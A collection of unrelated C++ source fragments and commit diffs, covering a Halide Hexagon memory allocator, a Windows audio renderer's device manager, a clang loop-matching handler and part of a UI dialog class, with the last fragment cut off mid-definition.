// TODO(psuriana): make num_buffers configurable by user
static const int num_buffers = 10;
static const int buffer_size = 1024 * 64;
WEAK int buf_is_used[num_buffers];
WEAK void *mem_buf[num_buffers] = { NULL, };
__attribute__((destructor))
WEAK void halide_allocator_cleanup() {
for (int i = 0; i < num_buffers; ++i) {
aligned_free(mem_buf[i]);
}
}
}}} // namespace Halide::Runtime::Internal
WEAK void *halide_default_malloc(void *user_context, size_t x) {
// Hexagon needs up to 128 byte alignment.
const size_t alignment = 128;
if (x <= buffer_size) {
for (int i = 0; i < num_buffers; ++i) {
if (__sync_val_compare_and_swap(buf_is_used + i, 0, 1) == 0) {
if (mem_buf[i] == NULL) {
mem_buf[i] = aligned_malloc(alignment, buffer_size);
}
return mem_buf[i];
}
}
}
return aligned_malloc(alignment, x);
}
WEAK void halide_default_free(void *user_context, void *ptr) {
for (int i = 0; i < num_buffers; ++i) {
if (mem_buf[i] == ptr) {
buf_is_used[i] = 0;
return;
}
}
aligned_free(ptr);
}
namespace Halide { namespace Runtime { namespace Internal {
WEAK halide_malloc_t custom_malloc = halide_default_malloc;
WEAK halide_free_t custom_free = halide_default_free;
}}} // namespace Halide::Runtime::Internal
extern "C" {
WEAK halide_malloc_t halide_set_custom_malloc(halide_malloc_t user_malloc) {
// See TODO below.
halide_print(NULL, "custom allocators not supported on Hexagon.\n");
halide_malloc_t result = custom_malloc;
custom_malloc = user_malloc;
return result;
}
WEAK halide_free_t halide_set_custom_free(halide_free_t user_free) {
// See TODO below.
halide_print(NULL, "custom allocators not supported on Hexagon.\n");
halide_free_t result = custom_free;
custom_free = user_free;
return result;
}
// TODO: These should be calling custom_malloc/custom_free, but globals are not
// initialized correctly when using mmap_dlopen. We need to fix this, then we
// can enable the custom allocators.
WEAK void *halide_malloc(void *user_context, size_t x) {
return halide_default_malloc(user_context, x);
}
WEAK void halide_free(void *user_context, void *ptr) {
halide_default_free(user_context, ptr);
}
}
<|endoftext|>
|
<commit_before>#include "pch.h"
#include "DeviceManager.h"
#include "DspMatrix.h"
namespace SaneAudioRenderer
{
namespace
{
const auto WindowClass = L"SaneAudioRenderer::DeviceManager";
const auto WindowTitle = L"";
enum
{
WM_CHECK_BITSTREAM_FORMAT = WM_USER + 100,
WM_CREATE_DEVICE,
};
template <class T>
bool IsLastInstance(T& smartPointer)
{
bool ret = (smartPointer.GetInterfacePtr()->AddRef() == 2);
smartPointer.GetInterfacePtr()->Release();
return ret;
}
WAVEFORMATEX BuildWaveFormat(WORD formatTag, uint32_t formatBits, uint32_t rate, uint32_t channelCount)
{
WAVEFORMATEX ret;
ret.wFormatTag = formatTag;
ret.nChannels = channelCount;
ret.nSamplesPerSec = rate;
ret.nAvgBytesPerSec = formatBits / 8 * channelCount * rate;
ret.nBlockAlign = formatBits / 8 * channelCount;
ret.wBitsPerSample = formatBits;
ret.cbSize = (formatTag == WAVE_FORMAT_EXTENSIBLE) ? 22 : 0;
return ret;
}
WAVEFORMATEXTENSIBLE BuildWaveFormatExt(GUID formatGuid, uint32_t formatBits, WORD formatExtProps,
uint32_t rate, uint32_t channelCount, DWORD channelMask)
{
WAVEFORMATEXTENSIBLE ret;
ret.Format = BuildWaveFormat(WAVE_FORMAT_EXTENSIBLE, formatBits, rate, channelCount);
ret.Samples.wValidBitsPerSample = formatExtProps;
ret.dwChannelMask = channelMask;
ret.SubFormat = formatGuid;
return ret;
}
std::shared_ptr<std::wstring> GetDevicePropertyString(IPropertyStore* pStore, REFPROPERTYKEY key)
{
assert(pStore);
PROPVARIANT prop;
PropVariantInit(&prop);
ThrowIfFailed(pStore->GetValue(key, &prop));
auto ret = std::make_shared<std::wstring>(prop.pwszVal);
PropVariantClear(&prop);
return ret;
}
void CreateAudioClient(AudioDevice& output, ISettings* pSettings)
{
assert(pSettings);
std::unique_ptr<wchar_t, CoTaskMemFreeDeleter> deviceName;
{
output.settingsSerial = pSettings->GetSerial();
LPWSTR pDeviceName = nullptr;
BOOL exclusive;
ThrowIfFailed(pSettings->GetOuputDevice(&pDeviceName, &exclusive));
deviceName.reset(pDeviceName);
output.exclusive = !!exclusive;
}
IMMDeviceEnumeratorPtr enumerator;
ThrowIfFailed(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr,
CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&enumerator)));
IMMDevicePtr device;
IPropertyStorePtr devicePropertyStore;
if (!deviceName || !*deviceName)
{
output.default = true;
ThrowIfFailed(enumerator->GetDefaultAudioEndpoint(eRender, eConsole, &device));
ThrowIfFailed(device->OpenPropertyStore(STGM_READ, &devicePropertyStore));
output.friendlyName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_FriendlyName);
}
else
{
output.default = false;
IMMDeviceCollectionPtr collection;
ThrowIfFailed(enumerator->EnumAudioEndpoints(eRender, DEVICE_STATE_ACTIVE, &collection));
UINT count = 0;
ThrowIfFailed(collection->GetCount(&count));
for (UINT i = 0; i < count; i++)
{
ThrowIfFailed(collection->Item(i, &device));
ThrowIfFailed(device->OpenPropertyStore(STGM_READ, &devicePropertyStore));
output.friendlyName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_FriendlyName);
if (wcscmp(deviceName.get(), output.friendlyName->c_str()))
{
device = nullptr;
devicePropertyStore = nullptr;
output.friendlyName = nullptr;
}
}
}
if (!device)
return;
output.adapterName = GetDevicePropertyString(devicePropertyStore, PKEY_DeviceInterface_FriendlyName);
output.endpointName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_DeviceDesc);
ThrowIfFailed(device->Activate(__uuidof(IAudioClient),
CLSCTX_INPROC_SERVER, nullptr, (void**)&output.audioClient));
}
}
DeviceManager::DeviceManager(HRESULT& result)
{
if (FAILED(result))
return;
m_hThread = (HANDLE)_beginthreadex(nullptr, 0, StaticThreadProc<DeviceManager>, this, 0, nullptr);
if (m_hThread == NULL || !m_windowInitialized.get_future().get())
result = E_FAIL;
}
DeviceManager::~DeviceManager()
{
m_queuedDestroy = true;
PostMessage(m_hWindow, WM_DESTROY, 0, 0);
WaitForSingleObject(m_hThread, INFINITE);
CloseHandle(m_hThread);
UnregisterClass(WindowClass, GetModuleHandle(nullptr));
}
bool DeviceManager::BitstreamFormatSupported(SharedWaveFormat format, ISettings* pSettings)
{
assert(format);
assert(pSettings);
m_checkBitstreamFormat = format;
m_checkBitstreamSettings = pSettings;
m_queuedCheckBitstream = true;
bool ret = (SendMessage(m_hWindow, WM_CHECK_BITSTREAM_FORMAT, 0, 0) == 0);
m_checkBitstreamFormat = nullptr;
m_checkBitstreamSettings = nullptr;
assert(m_queuedCheckBitstream == false);
return ret;
}
SharedAudioDevice DeviceManager::CreateDevice(SharedWaveFormat format, ISettings* pSettings)
{
assert(format);
assert(pSettings);
m_createDeviceFormat = format;
m_createDeviceSettings = pSettings;
m_queuedCreateDevice = true;
SharedAudioDevice ret = (SendMessage(m_hWindow, WM_CREATE_DEVICE, 0, 0) == 0) ? m_device : nullptr;
m_createDeviceFormat = nullptr;
m_createDeviceSettings = nullptr;
assert(m_queuedCreateDevice == false);
return ret;
}
void DeviceManager::ReleaseDevice()
{
if (!m_device)
return;
auto areLastInstances = [this]
{
if (!m_device.unique())
return false;
if (m_device->audioClock && !IsLastInstance(m_device->audioClock))
return false;
m_device->audioClock = nullptr;
if (m_device->audioRenderClient && !IsLastInstance(m_device->audioRenderClient))
return false;
m_device->audioRenderClient = nullptr;
if (m_device->audioClient && !IsLastInstance(m_device->audioClient))
return false;
return true;
};
assert(areLastInstances());
m_device = nullptr;
}
LRESULT DeviceManager::OnCheckBitstreamFormat()
{
if (!m_queuedCheckBitstream)
return 1;
assert(m_checkBitstreamFormat);
assert(m_checkBitstreamSettings);
m_queuedCheckBitstream = false;
try
{
AudioDevice device = {};
CreateAudioClient(device, m_checkBitstreamSettings);
if (!device.audioClient)
return 1;
return SUCCEEDED(device.audioClient->IsFormatSupported(AUDCLNT_SHAREMODE_EXCLUSIVE,
&(*m_checkBitstreamFormat), nullptr)) ? 0 : 1;
}
catch (HRESULT)
{
return 1;
}
}
LRESULT DeviceManager::OnCreateDevice()
{
if (!m_queuedCreateDevice)
return 1;
assert(m_createDeviceFormat);
assert(m_createDeviceSettings);
m_queuedCreateDevice = false;
ReleaseDevice();
try
{
assert(!m_device);
m_device = std::make_shared<AudioDevice>();
CreateAudioClient(*m_device, m_createDeviceSettings);
if (!m_device->audioClient)
return 1;
WAVEFORMATEX* pFormat;
ThrowIfFailed(m_device->audioClient->GetMixFormat(&pFormat));
SharedWaveFormat mixFormat(pFormat, CoTaskMemFreeDeleter());
m_device->bufferDuration = 200;
m_device->bitstream = (DspFormatFromWaveFormat(*m_createDeviceFormat) == DspFormat::Unknown);
if (m_device->bitstream)
{
// Exclusive bitstreaming.
if (!m_device->exclusive)
return 1;
m_device->dspFormat = DspFormat::Unknown;
m_device->waveFormat = m_createDeviceFormat;
}
else if (m_device->exclusive)
{
// Exclusive.
auto inputRate = m_createDeviceFormat->nSamplesPerSec;
auto mixRate = mixFormat->nSamplesPerSec;
auto mixChannels = mixFormat->nChannels;
auto mixMask = DspMatrix::GetChannelMask(*mixFormat);
auto priorities = make_array(
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, 32, 32, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 32, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 24, 24, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 24, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 16, 16, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, 32, 32, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 32, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 24, 24, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 24, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 16, 16, mixRate, mixChannels, mixMask),
WAVEFORMATEXTENSIBLE{BuildWaveFormat(WAVE_FORMAT_PCM, 16, inputRate, mixChannels)},
WAVEFORMATEXTENSIBLE{BuildWaveFormat(WAVE_FORMAT_PCM, 16, mixRate, mixChannels)}
);
for (const auto& f : priorities)
{
assert(DspFormatFromWaveFormat(f.Format) != DspFormat::Unknown);
if (SUCCEEDED(m_device->audioClient->IsFormatSupported(AUDCLNT_SHAREMODE_EXCLUSIVE, &f.Format, nullptr)))
{
m_device->dspFormat = DspFormatFromWaveFormat(f.Format);
m_device->waveFormat = CopyWaveFormat(f.Format);
break;
}
}
}
else
{
// Shared.
m_device->dspFormat = DspFormat::Float;
m_device->waveFormat = mixFormat;
}
ThrowIfFailed(m_device->audioClient->Initialize(m_device->exclusive ? AUDCLNT_SHAREMODE_EXCLUSIVE : AUDCLNT_SHAREMODE_SHARED,
0, MILLISECONDS_TO_100NS_UNITS(m_device->bufferDuration),
0, &(*m_device->waveFormat), nullptr));
ThrowIfFailed(m_device->audioClient->GetService(IID_PPV_ARGS(&m_device->audioRenderClient)));
ThrowIfFailed(m_device->audioClient->GetService(IID_PPV_ARGS(&m_device->audioClock)));
return 0;
}
catch (std::bad_alloc&)
{
ReleaseDevice();
return 1;
}
catch (HRESULT)
{
ReleaseDevice();
return 1;
}
}
DWORD DeviceManager::ThreadProc()
{
CoInitializeHelper coInitializeHelper(COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
HINSTANCE hInstance = GetModuleHandle(nullptr);
WNDCLASSEX windowClass{sizeof(windowClass), 0, StaticWindowProc<DeviceManager>, 0, 0, hInstance,
NULL, NULL, NULL, nullptr, WindowClass, NULL};
m_hWindow = NULL;
if (coInitializeHelper.Initialized() && RegisterClassEx(&windowClass))
m_hWindow = CreateWindowEx(0, WindowClass, WindowTitle, 0, 0, 0, 0, 0, 0, NULL, hInstance, this);
if (m_hWindow != NULL)
{
m_windowInitialized.set_value(true);
RunMessageLoop();
ReleaseDevice();
}
else
{
m_windowInitialized.set_value(false);
}
return 0;
}
LRESULT DeviceManager::WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_DESTROY:
if (m_queuedDestroy)
PostQuitMessage(0);
return 0;
case WM_CHECK_BITSTREAM_FORMAT:
return OnCheckBitstreamFormat();
case WM_CREATE_DEVICE:
return OnCreateDevice();
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}
}
}
<commit_msg>Don't fail if RegisterClassEx() fails<commit_after>#include "pch.h"
#include "DeviceManager.h"
#include "DspMatrix.h"
namespace SaneAudioRenderer
{
namespace
{
const auto WindowClass = L"SaneAudioRenderer::DeviceManager";
const auto WindowTitle = L"";
enum
{
WM_CHECK_BITSTREAM_FORMAT = WM_USER + 100,
WM_CREATE_DEVICE,
};
template <class T>
bool IsLastInstance(T& smartPointer)
{
bool ret = (smartPointer.GetInterfacePtr()->AddRef() == 2);
smartPointer.GetInterfacePtr()->Release();
return ret;
}
WAVEFORMATEX BuildWaveFormat(WORD formatTag, uint32_t formatBits, uint32_t rate, uint32_t channelCount)
{
WAVEFORMATEX ret;
ret.wFormatTag = formatTag;
ret.nChannels = channelCount;
ret.nSamplesPerSec = rate;
ret.nAvgBytesPerSec = formatBits / 8 * channelCount * rate;
ret.nBlockAlign = formatBits / 8 * channelCount;
ret.wBitsPerSample = formatBits;
ret.cbSize = (formatTag == WAVE_FORMAT_EXTENSIBLE) ? 22 : 0;
return ret;
}
WAVEFORMATEXTENSIBLE BuildWaveFormatExt(GUID formatGuid, uint32_t formatBits, WORD formatExtProps,
uint32_t rate, uint32_t channelCount, DWORD channelMask)
{
WAVEFORMATEXTENSIBLE ret;
ret.Format = BuildWaveFormat(WAVE_FORMAT_EXTENSIBLE, formatBits, rate, channelCount);
ret.Samples.wValidBitsPerSample = formatExtProps;
ret.dwChannelMask = channelMask;
ret.SubFormat = formatGuid;
return ret;
}
std::shared_ptr<std::wstring> GetDevicePropertyString(IPropertyStore* pStore, REFPROPERTYKEY key)
{
assert(pStore);
PROPVARIANT prop;
PropVariantInit(&prop);
ThrowIfFailed(pStore->GetValue(key, &prop));
auto ret = std::make_shared<std::wstring>(prop.pwszVal);
PropVariantClear(&prop);
return ret;
}
void CreateAudioClient(AudioDevice& output, ISettings* pSettings)
{
assert(pSettings);
std::unique_ptr<wchar_t, CoTaskMemFreeDeleter> deviceName;
{
output.settingsSerial = pSettings->GetSerial();
LPWSTR pDeviceName = nullptr;
BOOL exclusive;
ThrowIfFailed(pSettings->GetOuputDevice(&pDeviceName, &exclusive));
deviceName.reset(pDeviceName);
output.exclusive = !!exclusive;
}
IMMDeviceEnumeratorPtr enumerator;
ThrowIfFailed(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr,
CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&enumerator)));
IMMDevicePtr device;
IPropertyStorePtr devicePropertyStore;
if (!deviceName || !*deviceName)
{
output.default = true;
ThrowIfFailed(enumerator->GetDefaultAudioEndpoint(eRender, eConsole, &device));
ThrowIfFailed(device->OpenPropertyStore(STGM_READ, &devicePropertyStore));
output.friendlyName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_FriendlyName);
}
else
{
output.default = false;
IMMDeviceCollectionPtr collection;
ThrowIfFailed(enumerator->EnumAudioEndpoints(eRender, DEVICE_STATE_ACTIVE, &collection));
UINT count = 0;
ThrowIfFailed(collection->GetCount(&count));
for (UINT i = 0; i < count; i++)
{
ThrowIfFailed(collection->Item(i, &device));
ThrowIfFailed(device->OpenPropertyStore(STGM_READ, &devicePropertyStore));
output.friendlyName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_FriendlyName);
if (wcscmp(deviceName.get(), output.friendlyName->c_str()))
{
device = nullptr;
devicePropertyStore = nullptr;
output.friendlyName = nullptr;
}
}
}
if (!device)
return;
output.adapterName = GetDevicePropertyString(devicePropertyStore, PKEY_DeviceInterface_FriendlyName);
output.endpointName = GetDevicePropertyString(devicePropertyStore, PKEY_Device_DeviceDesc);
ThrowIfFailed(device->Activate(__uuidof(IAudioClient),
CLSCTX_INPROC_SERVER, nullptr, (void**)&output.audioClient));
}
}
DeviceManager::DeviceManager(HRESULT& result)
{
if (FAILED(result))
return;
m_hThread = (HANDLE)_beginthreadex(nullptr, 0, StaticThreadProc<DeviceManager>, this, 0, nullptr);
if (m_hThread == NULL || !m_windowInitialized.get_future().get())
result = E_FAIL;
}
DeviceManager::~DeviceManager()
{
m_queuedDestroy = true;
PostMessage(m_hWindow, WM_DESTROY, 0, 0);
WaitForSingleObject(m_hThread, INFINITE);
CloseHandle(m_hThread);
UnregisterClass(WindowClass, GetModuleHandle(nullptr));
}
bool DeviceManager::BitstreamFormatSupported(SharedWaveFormat format, ISettings* pSettings)
{
assert(format);
assert(pSettings);
m_checkBitstreamFormat = format;
m_checkBitstreamSettings = pSettings;
m_queuedCheckBitstream = true;
bool ret = (SendMessage(m_hWindow, WM_CHECK_BITSTREAM_FORMAT, 0, 0) == 0);
m_checkBitstreamFormat = nullptr;
m_checkBitstreamSettings = nullptr;
assert(m_queuedCheckBitstream == false);
return ret;
}
SharedAudioDevice DeviceManager::CreateDevice(SharedWaveFormat format, ISettings* pSettings)
{
assert(format);
assert(pSettings);
m_createDeviceFormat = format;
m_createDeviceSettings = pSettings;
m_queuedCreateDevice = true;
SharedAudioDevice ret = (SendMessage(m_hWindow, WM_CREATE_DEVICE, 0, 0) == 0) ? m_device : nullptr;
m_createDeviceFormat = nullptr;
m_createDeviceSettings = nullptr;
assert(m_queuedCreateDevice == false);
return ret;
}
void DeviceManager::ReleaseDevice()
{
if (!m_device)
return;
auto areLastInstances = [this]
{
if (!m_device.unique())
return false;
if (m_device->audioClock && !IsLastInstance(m_device->audioClock))
return false;
m_device->audioClock = nullptr;
if (m_device->audioRenderClient && !IsLastInstance(m_device->audioRenderClient))
return false;
m_device->audioRenderClient = nullptr;
if (m_device->audioClient && !IsLastInstance(m_device->audioClient))
return false;
return true;
};
assert(areLastInstances());
m_device = nullptr;
}
LRESULT DeviceManager::OnCheckBitstreamFormat()
{
if (!m_queuedCheckBitstream)
return 1;
assert(m_checkBitstreamFormat);
assert(m_checkBitstreamSettings);
m_queuedCheckBitstream = false;
try
{
AudioDevice device = {};
CreateAudioClient(device, m_checkBitstreamSettings);
if (!device.audioClient)
return 1;
return SUCCEEDED(device.audioClient->IsFormatSupported(AUDCLNT_SHAREMODE_EXCLUSIVE,
&(*m_checkBitstreamFormat), nullptr)) ? 0 : 1;
}
catch (HRESULT)
{
return 1;
}
}
LRESULT DeviceManager::OnCreateDevice()
{
if (!m_queuedCreateDevice)
return 1;
assert(m_createDeviceFormat);
assert(m_createDeviceSettings);
m_queuedCreateDevice = false;
ReleaseDevice();
try
{
assert(!m_device);
m_device = std::make_shared<AudioDevice>();
CreateAudioClient(*m_device, m_createDeviceSettings);
if (!m_device->audioClient)
return 1;
WAVEFORMATEX* pFormat;
ThrowIfFailed(m_device->audioClient->GetMixFormat(&pFormat));
SharedWaveFormat mixFormat(pFormat, CoTaskMemFreeDeleter());
m_device->bufferDuration = 200;
m_device->bitstream = (DspFormatFromWaveFormat(*m_createDeviceFormat) == DspFormat::Unknown);
if (m_device->bitstream)
{
// Exclusive bitstreaming.
if (!m_device->exclusive)
return 1;
m_device->dspFormat = DspFormat::Unknown;
m_device->waveFormat = m_createDeviceFormat;
}
else if (m_device->exclusive)
{
// Exclusive.
auto inputRate = m_createDeviceFormat->nSamplesPerSec;
auto mixRate = mixFormat->nSamplesPerSec;
auto mixChannels = mixFormat->nChannels;
auto mixMask = DspMatrix::GetChannelMask(*mixFormat);
auto priorities = make_array(
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, 32, 32, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 32, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 24, 24, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 24, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 16, 16, inputRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, 32, 32, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 32, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 24, 24, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 32, 24, mixRate, mixChannels, mixMask),
BuildWaveFormatExt(KSDATAFORMAT_SUBTYPE_PCM, 16, 16, mixRate, mixChannels, mixMask),
WAVEFORMATEXTENSIBLE{BuildWaveFormat(WAVE_FORMAT_PCM, 16, inputRate, mixChannels)},
WAVEFORMATEXTENSIBLE{BuildWaveFormat(WAVE_FORMAT_PCM, 16, mixRate, mixChannels)}
);
for (const auto& f : priorities)
{
assert(DspFormatFromWaveFormat(f.Format) != DspFormat::Unknown);
if (SUCCEEDED(m_device->audioClient->IsFormatSupported(AUDCLNT_SHAREMODE_EXCLUSIVE, &f.Format, nullptr)))
{
m_device->dspFormat = DspFormatFromWaveFormat(f.Format);
m_device->waveFormat = CopyWaveFormat(f.Format);
break;
}
}
}
else
{
// Shared.
m_device->dspFormat = DspFormat::Float;
m_device->waveFormat = mixFormat;
}
ThrowIfFailed(m_device->audioClient->Initialize(m_device->exclusive ? AUDCLNT_SHAREMODE_EXCLUSIVE : AUDCLNT_SHAREMODE_SHARED,
0, MILLISECONDS_TO_100NS_UNITS(m_device->bufferDuration),
0, &(*m_device->waveFormat), nullptr));
ThrowIfFailed(m_device->audioClient->GetService(IID_PPV_ARGS(&m_device->audioRenderClient)));
ThrowIfFailed(m_device->audioClient->GetService(IID_PPV_ARGS(&m_device->audioClock)));
return 0;
}
catch (std::bad_alloc&)
{
ReleaseDevice();
return 1;
}
catch (HRESULT)
{
ReleaseDevice();
return 1;
}
}
DWORD DeviceManager::ThreadProc()
{
CoInitializeHelper coInitializeHelper(COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
HINSTANCE hInstance = GetModuleHandle(nullptr);
WNDCLASSEX windowClass{sizeof(windowClass), 0, StaticWindowProc<DeviceManager>, 0, 0, hInstance,
NULL, NULL, NULL, nullptr, WindowClass, NULL};
m_hWindow = NULL;
if (coInitializeHelper.Initialized())
{
RegisterClassEx(&windowClass);
m_hWindow = CreateWindowEx(0, WindowClass, WindowTitle, 0, 0, 0, 0, 0, 0, NULL, hInstance, this);
}
if (m_hWindow != NULL)
{
m_windowInitialized.set_value(true);
RunMessageLoop();
ReleaseDevice();
}
else
{
m_windowInitialized.set_value(false);
}
return 0;
}
LRESULT DeviceManager::WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_DESTROY:
if (m_queuedDestroy)
PostQuitMessage(0);
return 0;
case WM_CHECK_BITSTREAM_FORMAT:
return OnCheckBitstreamFormat();
case WM_CREATE_DEVICE:
return OnCreateDevice();
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}
}
}
<|endoftext|>
|
<commit_before>#include "Common.hh"
#include "DynamicHandler.hh"
#include "Log.hh"
#include <clang/Rewrite/Core/Rewriter.h>
using namespace clang;
using namespace clang::ast_matchers;
void DynamicHandler::run(const MatchFinder::MatchResult &Result) {
log(Debug, "Handling possible reorderable loop");
if(const ForStmt *forS = Result.Nodes.getNodeAs<ForStmt>("for")) {
vector<string> bindings = { "initVar", "condVar", "incVar" };
std::transform(
bindings.begin(), bindings.end(), bindings.begin(),
[&](string s) {
return getDeclName(Result, s);
}
);
auto all_equal = allEqual(bindings);
if(!all_equal) {
log(Debug, "Near miss for Reorderable Loop: "
"For loop referencing different variables");
return;
}
log(Debug, "Found reorderable loop");
}
}
StatementMatcher DynamicHandler::matcher() {
return forLoopMatcher();
}
StatementMatcher DynamicHandler::forLoopMatcher() {
return forStmt(
hasLoopInit(initMatcher()),
hasCondition(conditionMatcher()),
hasIncrement(incrementMatcher())
).bind("for");
}
StatementMatcher DynamicHandler::initMatcher() {
return (
anyOf(
declStmt(hasSingleDecl(
varDecl(
hasInitializer(ignoringParenImpCasts(integerLiteral()))
).bind("initVar")
)),
binaryOperator(
hasOperatorName("="),
hasLHS(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("initVar")))
)),
hasRHS(ignoringParenImpCasts(integerLiteral()))
)
)
);
}
StatementMatcher DynamicHandler::conditionMatcher() {
return (
binaryOperator(
hasOperatorName("<"),
hasLHS(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("condVar")))
)),
hasRHS(ignoringParenImpCasts(
expr(hasType(isInteger()))
))
)
);
}
StatementMatcher DynamicHandler::incrementMatcher() {
return (
unaryOperator(
hasOperatorName("++"),
hasUnaryOperand(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("incVar")))
))
)
);
}
<commit_msg>Rewriter that doesn't do anything<commit_after>#include "Common.hh"
#include "DynamicHandler.hh"
#include "Log.hh"
#include <clang/Rewrite/Core/Rewriter.h>
using namespace clang;
using namespace clang::ast_matchers;
void DynamicHandler::run(const MatchFinder::MatchResult &Result) {
log(Debug, "Handling possible reorderable loop");
if(const ForStmt *forS = Result.Nodes.getNodeAs<ForStmt>("for")) {
vector<string> bindings = { "initVar", "condVar", "incVar" };
std::transform(
bindings.begin(), bindings.end(), bindings.begin(),
[&](string s) {
return getDeclName(Result, s);
}
);
auto all_equal = allEqual(bindings);
if(!all_equal) {
log(Debug, "Near miss for Reorderable Loop: "
"For loop referencing different variables");
return;
}
log(Debug, "Found reorderable loop");
Rewriter r(*Result.SourceManager, LangOptions());
//r.ReplaceText(forS->getSourceRange(), "");
r.overwriteChangedFiles();
}
}
StatementMatcher DynamicHandler::matcher() {
return forLoopMatcher();
}
StatementMatcher DynamicHandler::forLoopMatcher() {
return forStmt(
hasLoopInit(initMatcher()),
hasCondition(conditionMatcher()),
hasIncrement(incrementMatcher())
).bind("for");
}
StatementMatcher DynamicHandler::initMatcher() {
return (
anyOf(
declStmt(hasSingleDecl(
varDecl(
hasInitializer(ignoringParenImpCasts(integerLiteral()))
).bind("initVar")
)),
binaryOperator(
hasOperatorName("="),
hasLHS(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("initVar")))
)),
hasRHS(ignoringParenImpCasts(integerLiteral()))
)
)
);
}
StatementMatcher DynamicHandler::conditionMatcher() {
return (
binaryOperator(
hasOperatorName("<"),
hasLHS(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("condVar")))
)),
hasRHS(ignoringParenImpCasts(
expr(hasType(isInteger()))
))
)
);
}
StatementMatcher DynamicHandler::incrementMatcher() {
return (
unaryOperator(
hasOperatorName("++"),
hasUnaryOperand(ignoringParenImpCasts(
declRefExpr(to(varDecl(hasType(isInteger())).bind("incVar")))
))
)
);
}
<|endoftext|>
|
<commit_before>#include <FWApplication.h>
#include <Dialog.h>
#include <GridView.h>
#include <TableLayout.h>
#include <PlatformThread.h>
#include <SysEvent.h>
#include <LinearLayout.h>
#include <TextLabel.h>
#include <TextField.h>
#include <Button.h>
using namespace std;
class AppMessageDialog : public Dialog {
public:
AppMessageDialog(const std::string & title, const std::string & message) : Dialog(title) {
style("height", "wrap-content");
auto mainLayout = make_shared<LinearLayout>(1);
mainLayout->style("width", "match-parent");
mainLayout->style("height", "wrap-content");
addChild(mainLayout);
auto dialogMessage = make_shared<TextLabel>(message);
mainLayout->addChild(dialogMessage);
auto okButton = std::make_shared<Button>("OK");
okButton->style("width", "match-parent");
okButton->style("height", "match-parent");
okButton->style("color", "#ffffff");
okButton->style("background", "#c1272d");
okButton->style("border-radius", "4");
okButton->style("weight", "1");
okButton->style("margin-left", "2");
okButton->style("margin-right", "2");
okButton->style("margin-bottom", "2");
mainLayout->addChild(okButton);
}
bool isA(const std::string & className) const override {
if (className == "AppMessageDialog") return true;
return Dialog::isA(className);
}
void onCommandEvent(CommandEvent & ev) override {
endModal();
}
};
class AppInputDialog : public Dialog {
public:
AppInputDialog(const std::string & title, const std::string & message) : Dialog(title) {
style("height", "wrap-content");
auto mainLayout = make_shared<LinearLayout>(1);
mainLayout->style("width", "match-parent");
mainLayout->style("height", "wrap-content");
mainLayout->style("background-color", "#ffffff");
addChild(mainLayout);
auto dialogTitle = std::make_shared<TextLabel>(title);
dialogTitle->style("background-color", "#ffffff");
dialogTitle->style("width", "match-parent");
dialogTitle->style("gravity", "center-horizontal");
dialogTitle->style("height", "wrap-content");
dialogTitle->style("font-size", "24");
dialogTitle->style("padding-top", "12");
dialogTitle->style("padding-bottom", "16");
dialogTitle->style("font-weight", "bold");
dialogTitle->style("padding-left", "4");
dialogTitle->style("color", "#c1272d");
mainLayout->addChild(dialogTitle);
auto dialogMessage = make_shared<TextLabel>(message);
mainLayout->addChild(dialogMessage);
textField = make_shared<TextField>();
textField->style("width", "match-parent");
textField->style("min-width", "100");
textField->style("padding-bottom", "10");
textField->style("padding-top", "10");
textField->style("hint", "Enter code here");
